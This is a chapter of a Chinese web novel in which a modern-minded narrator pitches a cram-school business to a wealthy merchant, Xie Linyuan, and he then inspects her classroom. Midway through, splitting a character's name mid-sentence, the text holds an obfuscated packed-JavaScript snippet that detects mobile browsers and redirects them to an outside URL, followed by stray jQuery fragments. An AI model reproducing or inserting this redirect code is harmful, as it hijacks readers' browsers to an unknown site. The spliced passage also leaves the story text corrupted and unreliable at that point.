朱雀桥的槐花落尽时，我站在谢氏墨行的门口，捏着一张账目清单深吸一口气。


    在大学为了学分搞大创的时候，导师就苦口婆心地教育我们多把心思放在路演上，最要紧的事情就是做出一个精美绝伦的ppt。为什么？因为凡是事业发展，全靠融资。


    而融资，就得找个有钱的。谢七郎，谢临渊，就是最佳人选。


    京城富商不少，但为什么偏偏是谢家？


    周砚反复问过我这个问题，他从见谢七郎第一面就对他不抱什么好印象。虽然当时他只看到了那马车青帐里人家伸出来的一截手腕。


    首先，这人是皇商，谢家产业遍布南北，能量大得离谱，连贡院的御用笔墨都是谢氏供的。要是搭上这条线，未来不仅能拿下学子市场，渗透到官场和书院都不是大问题，如此这般，才能真正把补习班做到“一手抓科举，一手抓朝堂”。


    其次，这人虽然据说阴晴不定、身世坎坷，但他能在商行开业这种正儿八经的场合，当着众多百姓的面请侍卫到处撒币，这种离经叛道的魄力，说不定正适合搞教育改革。


    说到这里，周砚终于勉强被我说服。我倒也没继续说下去，因为第三个理由确实有些不太好意思说出口。


    谢临渊长得实在太好看了。


    第二次见面是在王寡妇的烧饼铺子。我和周砚下了课一起去的，身后还跟了个郑有才，虽然有才公子反复声明自己平日向来锦衣玉食惯了，只是难得吃这种粗糙的食物，但他吃得眼睛里冒星星的样子还是出卖了他。正当我和周砚各大快朵颐了一个之后，王寡妇的锅炉里正好只剩下最后两个烧饼，我们对视一眼，用了半秒钟就决定拿下，谁知这时一个含笑的清冷声音在身后响起来：


    “鄙人来得不巧，看来今天是没有这个口福了。”


    我一回头，就看到了谢临渊。他身旁只随了一个玄衣侍从，自己披着一件雪貂大氅，手里握着一把楠木泥金扇子，眉眼慵懒，嘴角带笑。


    之后很多次见面，我都觉得这人每次出场都像是特意摆好了姿势，就差背后燃起烟雾，配上一句“皎若玉树临风前”的背景。


    “啊呀，这不是谢七老板？哎哟，不知您大驾光临，今天最后只剩下两个了，这......二位客官是先来的。不如明日我给您提前留着？”王寡妇笑成了一朵花，手上包油纸的动作都慢了不少。我和周砚表示无妨，不如让一个给他，免得空手而归挺遗憾。


    谢临渊的目光极快地扫过我们，然后轻轻地落在我身上，像是飘下来一片雪，然后他笑起来：


    “多谢二位美意成全，既然如此，不如这饼由我来请。”


    事后周砚有些悲愤地控诉，王寡妇给谢七的那个饼里夹的肉明显更多！难道就因为他长得美？


    我安慰他说，没事，在他来之前，沾你的光，我们拿到的饼夹的肉也最多。


    总而言之，我不是肤浅的人，但在朱雀桥众多行商之中，他那张脸实在是过于具有欺骗性——皮相无害，实则狡诈，活像个千年狐狸。


    有钱，有权，会撒钱，心眼子多，还长得好看。这种人不坑他一笔，难道等着他来坑我？


    于是，此时此刻，我拎着账本，深吸了一大口气，推开谢氏墨行的乌木门时，正撞碎一室浮动的松烟香。


    “姜老板。”


    谢临渊半倚在青玉案边执卷而读，雪色广袖滑落至肘间，露出一截缠着褪色五色丝的手腕。听到声响，他懒懒掀起眼帘，外袍上绣的银竹纹在晨光中泛起冷芒，倒衬得眼尾那抹淡淡的薄红愈发妖异——像落在雪地上的胭脂虫尸骸。


    “姜老板竟亲自来还烧饼钱？未免太客气。”他轻笑时，尾音似乎是被虎牙碾得微微发颤。


    我攥紧账本的手指无意识摩挲起纸页，竟然开始紧张了起来。早听闻谢七郎容色殊丽，却不想是这般裹着糖霜的毒——鸦青色长发半束，本就不是端肃的式样，又偏被几缕逃过束缚、散落在肩头的发丝搅得冶艳。最惑人的是那双眼，灰青瞳仁像浸在寒潭里的琥珀，望人时仿佛含着三分病气，可当你被那层虚弱的雾色蛊惑着靠近时，又会被深处淬炼的刃光刺醒。


    “谢公子说笑了。”我刻意避开他夹在指间的鎏金笔杆，那抹朱砂色正顺着笔杆蜿蜒而下，“我是来向您讨钱的。”


    他忽然倾身逼近，松烟香混着药苦气扑面而来。垂落的发丝扫过桌案，却好像落在我的脖子上，凉得惊人。


    “噢......新鲜。不过姜老板的账本……”他指尖划过我手中《五年科考收支录》，翡翠扳指与纸页相击发出碎玉声，“怎么比我的脉案还厚？”


    此刻我才惊觉，他看似握着书卷的左手，实则虚扣在案头一尊裂璺瓷偶的颈间。瓷偶脖颈处的裂痕，恰与他眉间那道淡疤如出一辙。


    “孤身夜访，”他似笑非笑，“想让我赊烧饼？”


    我打着哈哈假笑，把账本往桌上一放：“谢公子，您有没有考虑过投资教育？”


    “谢某只投稳赚不赔的生意。”


    “补习班稳赚。”我语气坚定，“朝廷每年科举，录取不过一成，落榜生却有九成，这些人需要什么？答案很简单——二战，三战，或者更多，更有甚者，穷尽一生。”


    我敲了敲账本，拉开他面前的椅子一坐：“谢家卖墨，书生买账；我卖策论，书生买路。您难道不觉得，我们是天生的合伙人？”


    谢临渊摩挲着算盘，似乎在细细琢磨。片刻后，他垂眸轻笑：“你倒是比我想象中更精明。”


    我刚要继续加码，只见他随手展开一张洒金笺，上面龙飞凤舞写着——


    “附赠王寡妇烧饼铺地契三张”。


    ？？？


    “既然合作，就该让你，还有那位周夫子，还有你们的学生们，都有足够的烧饼吃。那天，周夫子看我的眼神似乎不太高兴，是因为烧饼吗？”


    ……


    这个男人的思维到底是怎么运作的。


    翌日，我把拿下融资的惊天喜讯在课堂上宣布。郑有才翘着腿瘫在窗边，嘴里嘀嘀咕咕：“谢家七郎投资你，为什么不直接买下国子监……”


    “啪！”我拿着书敲在他脑袋上，“有才兄，既瞧不上谢七郎的钱，那这道题你倒是解解——”


    就在这时，门外一阵骚动。学堂里众人皆是警觉地抬头，只见一列紫衣侍卫打扮的人浩浩荡荡地踏进了书坊的门槛。周


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280354|166801||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    砚手里的茶盏抖了抖，韩青一边帮他斟茶，一边下意识护了一把，郑有才和我一起回头，眼珠都差点瞪出来。


    谢临渊的鸦青色长发，今日倒是用银丝混编松香色发带束得一丝不苟，垂落时似泼墨洒雪。踏入内室，他身边那位玄衣侍从非常自觉地上前接过他的大氅，然后守候在了门外。


    “谢七老板，您这是......”


    “姜夫子，”他朝我轻轻垂首，算是问候，目光却未曾低垂，含笑抬眼打量四周，“正式投资之前，自是要对生意有所考量，您无需在意我，只管讲您的课便是。啊呀，周夫子也在，您也请便。”


    说罢，他自己走到堂内最后，不客气地挑了个干净的蒲团，一副悉听尊便的样子。


    请便个头。这不就是校董领导视察课堂，门外那一排威武雄壮的汉子，不知道的还以为这儿在升堂。


    郑有才憋笑憋得脸都涨红了，因为周砚的表情已经把“这人是不是太冒昧”写得过于直白，我狠狠地拧了他的大腿一把。


    “......回神了。请听题，倘若，要将朱雀桥三十家烧饼铺的税银充作军饷，如何让王寡妇们心甘情愿掏钱？”


    众人一愣，片刻后，教室最后居然传来了谢临渊的轻笑：“简单，告诉她们每交一两税，我谢家，补贴二两。”


    “错！”周砚的反驳掷地有声，“商贾若无节制补贴，只会养成靠恩惠存活的貔貅，真正的解法，须让她们看到‘税收’的长远收益。”


    郑有才突然直起身。


    他指尖翻飞在算盘上拨弄，思索片刻后，眸光一亮：“明白了......周夫子，我要重写青州赈灾的策论！”


    窗外惊飞一群灰雀。谢临渊懒洋洋靠着门框，看着不远处和韩青争得脸红脖子粗的郑有才，意味不明地瞥了我一眼：“这小泼皮倒像极了我少时的聪明劲儿。”


    我背后一凉。谢七郎幼时被谢家弃在青州，如今又摇身一变成了贵胄回京，倒是不忌讳提起自己的过去。他敢提，我却也不能乱接话。只能打着哈哈道：


    “......您少时也往先生茶里兑烧刀子？”


    周砚打了个喷嚏。


    “这倒没有，不过我往学坊师傅们凑钱买的浑天仪里塞过竽饼，害那群老道观了三天假星象。”


    ......谢公子，您的童年可真是丰富多彩。


    三日后放晴，书坊门前挤满看热闹的百姓。


    谢氏商行的马车载着鎏金匾额驶来时，郑有才正带人将红布条换成烫金横幅。少年得意洋洋地朗声念出新题：“论谢氏墨行承包制对科考公平之影响——参考文献：《姜氏真题》《谢氏账本》《王寡妇烧饼供需表》。”


    “姜夫子！”韩青气喘吁吁从贡院方向跑来，“学政大人带着《四书正义》，似是来查咱们的教材了！”


    周砚漫不经心地朝外抬了抬下巴——五辆载满《策论速成宝典》的马车正隆隆驶来，每本书封面上都印着“谢氏墨行特供”的章印。


    我汗颜：“我们哪用得着那么多书？他是打算叫有才兄和小青他们一个人用五十本？”


    周砚苦笑：“只怕还不够，你以为谢七的胃口仅限于此？”